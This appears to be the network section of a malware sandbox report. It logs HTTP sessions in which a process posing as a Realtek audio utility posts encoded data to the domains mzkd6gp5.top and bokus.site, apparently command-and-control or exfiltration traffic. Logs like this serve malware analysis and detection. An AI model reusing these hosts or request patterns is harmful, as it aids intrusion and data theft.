Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49751	104.21.96.1	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:00.565758944 CET	815	OUT	POST /3u0p/ HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.mzkd6gp5.top Referer: http://www.mzkd6gp5.top/3u0p/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 68 30 77 54 7a 30 51 4d 2b 73 7a 64 35 33 35 33 6d 68 6f 56 48 33 2f 33 35 73 56 62 68 43 46 4e 36 52 41 58 54 70 6a 7a 44 65 63 57 74 79 63 37 70 2f 6b 70 79 57 6e 7a 46 2f 37 4f 57 4a 47 45 76 48 5a 49 6d 62 6b 6e 67 67 79 6f 42 68 30 30 66 45 4d 62 76 43 6e 69 6d 44 36 59 76 6e 64 4e 56 35 65 76 37 62 6d 4d 45 72 6a 53 59 4e 7a 31 74 53 6c 48 43 42 72 38 75 76 2b 58 44 67 6a 50 38 71 7a 63 6a 32 77 65 2b 59 67 6b 39 45 79 31 48 65 6f 72 52 42 36 2f 33 57 78 70 4c 31 5a 47 4a 34 49 59 6a 6d 49 75 79 55 32 4c 70 50 54 53 79 67 69 47 54 38 47 2b 79 49 77 6b 36 4e 45 49 61 35 51 6e 2f 42 66 68 44 71 33 36 6f 2b 37 77 75 69 4f 64 30 6a 6f 3d Data Ascii: lV=h0wTz0QM+szd5353mhoVH3/35sVbhCFN6RAXTpjzDecWtyc7p/kpyWnzF/7OWJGEvHZImbknggyoBh00fEMbvCnimD6YvndNV5ev7bmMErjSYNz1tSlHCBr8uv+XDgjP8qzcj2we+Ygk9Ey1HeorRB6/3WxpL1ZGJ4IYjmIuyU2LpPTSygiGT8G+yIwk6NEIa5Qn/BfhDq36o+7wuiOd0jo=
Jan 9, 2025 16:48:01.112435102 CET	913	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:48:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nXhyTWjNyFWLhCq5LJQ0mJ1gXWo415ILhjEOrR%2BMXrpKAw1%2FL7GYDUIKWJKg%2B7YEDrue1SLJyti%2Bd0cIvAcyyTyTD5EgOn3DpsiSUPX03ar1byJ4HZ27nn9LC587PAUEFgi7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff591affb8fa482-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=120227&min_rtt=120227&rtt_var=60113&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=815&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Jan 9, 2025 16:48:01.112481117 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49752	104.21.96.1	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:03.222157001 CET	7964	OUT	POST /3u0p/ HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.mzkd6gp5.top Referer: http://www.mzkd6gp5.top/3u0p/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 68 30 77 54 7a 30 51 4d 2b 73 7a 64 35 33 35 33 6d 68 6f 56 48 33 2f 33 35 73 56 62 68 43 46 4e 36 52 41 58 54 70 6a 7a 44 65 55 57 75 48 51 37 37 6f 77 70 31 57 6e 7a 4e 66 37 4c 57 4a 47 5a 76 48 78 4d 6d 62 68 63 67 69 36 6f 42 41 55 30 59 32 30 62 6d 43 6e 69 74 6a 36 62 67 48 64 59 56 35 4f 56 37 62 32 4d 45 72 6a 53 59 4f 72 31 71 44 6c 48 45 42 72 2f 2b 66 2b 4c 55 77 6a 33 38 71 72 4d 6a 32 30 52 2f 75 51 6b 39 6b 43 31 45 6f 63 72 54 68 36 39 77 57 77 32 4c 31 56 4a 4a 34 6b 55 6a 6a 63 55 79 54 71 4c 6f 6f 32 37 6d 6c 44 46 4f 4f 32 47 31 37 51 44 74 66 63 63 55 4b 6b 2b 2f 69 65 41 63 66 48 53 68 73 4c 77 38 52 4c 58 6c 30 76 55 78 6c 33 63 62 79 31 50 53 6b 71 44 72 4b 6b 71 62 43 58 62 6c 61 4a 2f 32 55 32 6a 46 61 43 63 76 33 71 6e 54 43 75 61 58 69 69 68 71 71 51 4f 4a 73 6f 4e 6d 56 35 53 58 45 51 6a 73 61 76 76 44 66 79 32 44 68 4c 4a 59 4a 6c 2f 44 39 61 63 6e 44 62 6d 78 53 44 65 69 72 6e 59 4c 71 33 57 79 68 6a 4a 45 6d 75 34 49 38 32 30 35 67 45 46 31 41 59 33 41 67 35 [TRUNCATED] Data Ascii: lV=h0wTz0QM+szd5353mhoVH3/35sVbhCFN6RAXTpjzDeUWuHQ77owp1WnzNf7LWJGZvHxMmbhcgi6oBAU0Y20bmCnitj6bgHdYV5OV7b2MErjSYOr1qDlHEBr/+f+LUwj38qrMj20R/uQk9kC1EocrTh69wWw2L1VJJ4kUjjcUyTqLoo27mlDFOO2G17QDtfccUKk+/ieAcfHShsLw8RLXl0vUxl3cby1PSkqDrKkqbCXblaJ/2U2jFaCcv3qnTCuaXiihqqQOJsoNmV5SXEQjsavvDfy2DhLJYJl/D9acnDbmxSDeirnYLq3WyhjJEmu4I8205gEF1AY3Ag5Kkz75E/mEKZjz01eEkFXxojxw0FeKHzJ1V4+ZUcUd4WhaWChZgq4FajJd685UHl+YEXVCbdHd8x6vEraU/inpWqlaWdOxrCRSMHtdn2vcTQAHUqyHTkE1BzBSQbzYwtPJPvLbTJAoMBVFaDvQy/WAgeRlnkW/mkYJmkQmgDzh9i5CFlGT32cTcqgKss25fo4zszhZyoBzKd0fAJEbCRwdyRo+7JlvahzmFHhQB4kG0FlskL9tAQhWfs+5h1UUHP36bT+WbKLjUF3yIFHGBUjCcNh51MBshWtjFQC/gem2ps/AJ7SnwRfryQHVQXmmfILcXp4qYgYNGZY41XVmH+u5plDlO2kZ5APyQc6tntNl2UD1nfOXD59f+bCqKp9Jy950Qhb1Cd05qv0i4Mcpy3XRjkKaCU7+63eEmJjMYWpx2FTIzBZh8YC3Oi2nPPRkeaTWuTr+VM64cmHCt/uzJ34ZuR18nq9HHt3IuWxTA06MuqlP5QTwFPkTEDfsvzViuN4i1rjdpTm3ec1axfUBklphCF3A3XXz09uL2V+9/gxKJXZaVD2MX3HTo7/wJBxnddqzgEsi00VADtBAX+/17I8RjlFYtBBTfVyeVwlP5qxrsay3lk+9J0mINgw8RWgNYY+Dj4qgSrJ585lRJ1YpbM4rhhohgkXpyDAQK [TRUNCATED]
Jan 9, 2025 16:48:03.753026009 CET	912	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:48:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zELVCdTgKqAqAvxAEYSCyv85anV331n63HVrbhVhkxEHdyqn6GB7W2T4qdp%2B%2B2C1mSmGBfD7SjEhQ3dVNHOMr7Op3CJVMDgnT3Mmj1ta1A%2BeVxfSwNsq5LcGeWywdxWMNd7X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff591c08a05a482-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=120105&min_rtt=120105&rtt_var=60052&sent=5&recv=9&lost=0&retrans=0&sent_bytes=0&recv_bytes=7964&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Jan 9, 2025 16:48:03.753072023 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49753	104.21.96.1	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:05.875560045 CET	530	OUT	GET /3u0p/?lV=s2YzwEkhsdaL/kJQlHk7A3SE2/Z36REv9AUKdpz0O4EFo1wYmv8+70PTeuLpJbel1HoKntoiuCCwLjgxW1UIuCv8mzvY6w9FRbC+/5arF9GGIcX7zSRGFgQ=&LSbaT=zft4LoBw HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:48:06.418689966 CET	932	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:48:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t%2FjrVcVQEWt6V7%2B9%2BJAhwqZHBpNWakYQZCxhzY3EL4%2B29uL2NKdnjArQ6U6LXWuFA0GSCdb%2FNC0jdG%2FkRdwev5CB%2FKJ3YPWg6Fad2EdiZeOdEsHUqp4Uf6rYFsawNnL5vDyo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff591d12c780298-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=119802&min_rtt=119802&rtt_var=59901&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=530&delivery_rate=0&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Jan 9, 2025 16:48:06.418703079 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49754	199.192.21.169	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:11.785504103 CET	789	OUT	POST /qps0/ HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.bokus.site Referer: http://www.bokus.site/qps0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 6c 63 58 74 63 50 4e 2b 46 4a 48 4a 32 4a 72 77 2f 65 56 54 2f 50 6a 54 68 4b 76 32 56 2b 4e 63 59 49 55 59 64 47 4c 71 62 67 50 74 6b 43 69 39 74 79 38 5a 30 6d 68 73 47 38 32 2b 73 6b 67 6c 79 4d 6f 6f 53 73 6c 36 4f 31 51 61 69 50 4a 63 32 63 70 39 4b 48 5a 4e 6f 46 4e 58 4a 5a 31 35 4c 6c 44 6d 34 43 32 51 5a 4d 48 6b 37 47 50 33 5a 75 6b 55 78 72 4f 6b 49 65 56 30 59 31 32 5a 6a 68 67 67 55 39 6d 46 2b 57 44 56 63 63 4b 44 48 4b 37 36 31 58 72 41 75 4b 76 68 35 7a 6d 70 39 45 39 43 4b 2f 7a 47 75 4e 6c 31 62 56 67 74 66 39 6c 6a 4d 4e 43 68 36 70 66 76 64 49 63 42 76 41 3d 3d Data Ascii: lV=lcXtcPN+FJHJ2Jrw/eVT/PjThKv2V+NcYIUYdGLqbgPtkCi9ty8Z0mhsG82+skglyMooSsl6O1QaiPJc2cp9KHZNoFNXJZ15LlDm4C2QZMHk7GP3ZukUxrOkIeV0Y12ZjhggU9mF+WDVccKDHK761XrAuKvh5zmp9E9CK/zGuNl1bVgtf9ljMNCh6pfvdIcBvA==
Jan 9, 2025 16:48:11.979461908 CET	918	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:48:11 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49755	199.192.21.169	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:14.490849018 CET	809	OUT	POST /qps0/ HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.bokus.site Referer: http://www.bokus.site/qps0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 6c 63 58 74 63 50 4e 2b 46 4a 48 4a 35 4e 58 77 38 35 42 54 75 2f 6a 55 38 36 76 32 62 65 4e 59 59 49 59 59 64 44 79 79 62 53 72 74 71 41 71 39 73 78 6b 5a 33 6d 68 73 56 38 32 37 69 45 67 79 79 4d 6b 4b 53 6f 6c 36 4f 32 73 61 69 4f 35 63 78 72 64 2b 49 58 5a 50 78 31 4e 56 44 35 31 35 4c 6c 44 6d 34 43 79 32 5a 4d 66 6b 37 57 66 33 66 38 41 62 37 4c 4f 6e 42 2b 56 30 50 46 32 64 6a 68 68 4e 55 38 71 76 2b 51 48 56 63 59 4f 44 48 59 54 31 67 6e 72 47 71 4b 75 4f 34 41 37 45 31 6e 6c 31 62 75 48 69 32 75 78 74 65 44 74 33 43 50 52 48 50 65 65 54 2b 5a 6d 48 66 4b 64 61 79 45 45 61 62 77 41 75 6b 31 72 62 64 49 41 7a 2f 5a 35 7a 51 7a 49 3d Data Ascii: lV=lcXtcPN+FJHJ5NXw85BTu/jU86v2beNYYIYYdDyybSrtqAq9sxkZ3mhsV827iEgyyMkKSol6O2saiO5cxrd+IXZPx1NVD515LlDm4Cy2ZMfk7Wf3f8Ab7LOnB+V0PF2djhhNU8qv+QHVcYODHYT1gnrGqKuO4A7E1nl1buHi2uxteDt3CPRHPeeT+ZmHfKdayEEabwAuk1rbdIAz/Z5zQzI=
Jan 9, 2025 16:48:14.679184914 CET	918	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:48:14 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49756	199.192.21.169	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:17.193728924 CET	7958	OUT	POST /qps0/ HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.bokus.site Referer: http://www.bokus.site/qps0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 6c 63 58 74 63 50 4e 2b 46 4a 48 4a 35 4e 58 77 38 35 42 54 75 2f 6a 55 38 36 76 32 62 65 4e 59 59 49 59 59 64 44 79 79 62 53 6a 74 71 31 6d 39 6a 77 6b 5a 32 6d 68 73 57 38 32 41 69 45 67 76 79 4d 38 4f 53 6f 67 42 4f 7a 67 61 6a 6f 74 63 77 5a 31 2b 53 48 5a 50 73 46 4e 57 4a 5a 30 37 4c 6c 7a 69 34 42 61 32 5a 4d 66 6b 37 55 58 33 4a 65 6b 62 30 72 4f 6b 49 65 56 6f 59 31 32 35 6a 6e 49 34 55 38 2f 61 2b 68 37 56 64 34 65 44 46 72 37 31 38 33 72 45 74 4b 75 57 34 41 33 48 31 6e 70 66 62 74 62 59 32 74 68 74 65 6c 30 38 48 64 49 59 52 50 44 66 34 34 47 37 66 4c 70 2b 7a 32 59 66 62 77 67 46 39 41 76 4f 44 2b 41 49 37 4c 5a 37 54 47 42 4f 69 44 34 61 53 4e 4e 4a 43 39 2b 54 54 4c 68 6a 38 4a 34 47 56 4e 32 55 74 75 74 44 38 4b 78 48 4b 52 4e 33 4b 78 45 63 48 62 67 65 69 32 2b 33 62 4c 50 79 50 48 38 50 57 62 4e 4b 46 6c 59 38 30 5a 6f 65 42 42 4e 62 54 77 34 71 68 73 6e 69 53 37 74 38 33 73 41 34 45 6d 50 4a 54 53 31 76 4d 63 58 6a 6a 78 69 72 76 68 38 45 62 6b 72 51 6f 39 71 35 69 7a 57 [TRUNCATED] Data Ascii: lV=lcXtcPN+FJHJ5NXw85BTu/jU86v2beNYYIYYdDyybSjtq1m9jwkZ2mhsW82AiEgvyM8OSogBOzgajotcwZ1+SHZPsFNWJZ07Llzi4Ba2ZMfk7UX3Jekb0rOkIeVoY125jnI4U8/a+h7Vd4eDFr7183rEtKuW4A3H1npfbtbY2thtel08HdIYRPDf44G7fLp+z2YfbwgF9AvOD+AI7LZ7TGBOiD4aSNNJC9+TTLhj8J4GVN2UtutD8KxHKRN3KxEcHbgei2+3bLPyPH8PWbNKFlY80ZoeBBNbTw4qhsniS7t83sA4EmPJTS1vMcXjjxirvh8EbkrQo9q5izW026YBV+a0eZTa5Gs4rwJ6Fl0UACMH0Dxw/Mo14s26X9Wvlq2w9L7kbvLEfaA9vELxYMKGHFX9VBnF0Y/rasbCSYe7NGYCzWbjOoOZiSIUgmYCXTUMec7Akv0IObf7p00fvMw084JAUjGjYA3+riLnwkO0kcaDekzygDHv6O5JtKIAq2vGtqYLGoyKLfqyu5E2qxqgOdpw10+X8BiG4OSeZZ1oLHMnCss21407VRW2+xGpvaIiWWuA+OIMeph4TiMETcMgXQtB9WxJvpzaotAi86271PilkISdxdBsBEg8cp69KMK9qghrB66gWLyp6+Ou9PEq8FZt1odZbYyjuFMCqGkPiFI0+j6dzyFt1rcJVPKwN+mPYlbJPwrGG1mh78QBnBXwksRWvX64Evq4akbAxx+K/KxhfjoevXYbLZ/0B2EpcdXh2zfi0Bi+0sRRp7J2YVojieH8H86+fqcIqqH6i0KFGuZ5BJgYuFFqr6XyJfU49ZwNPKfXtBakHFytUH5lZs1rqHtEObtOMAu/zTHMVWVa0ogY+7WI+k0VZq2Rh+I9pjLxOu48XR+sK++jKEcRxCCDzVlZ7Q/Thp7ENniqFFfapUoDeymYvYaumZogC33wF/tqwFvt9BkQDGtGvwVuqohEQ1V+I9ajsgYjpqG8o/a5qVAWYTlag [TRUNCATED]
Jan 9, 2025 16:48:17.382185936 CET	918	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:48:17 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49757	199.192.21.169	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
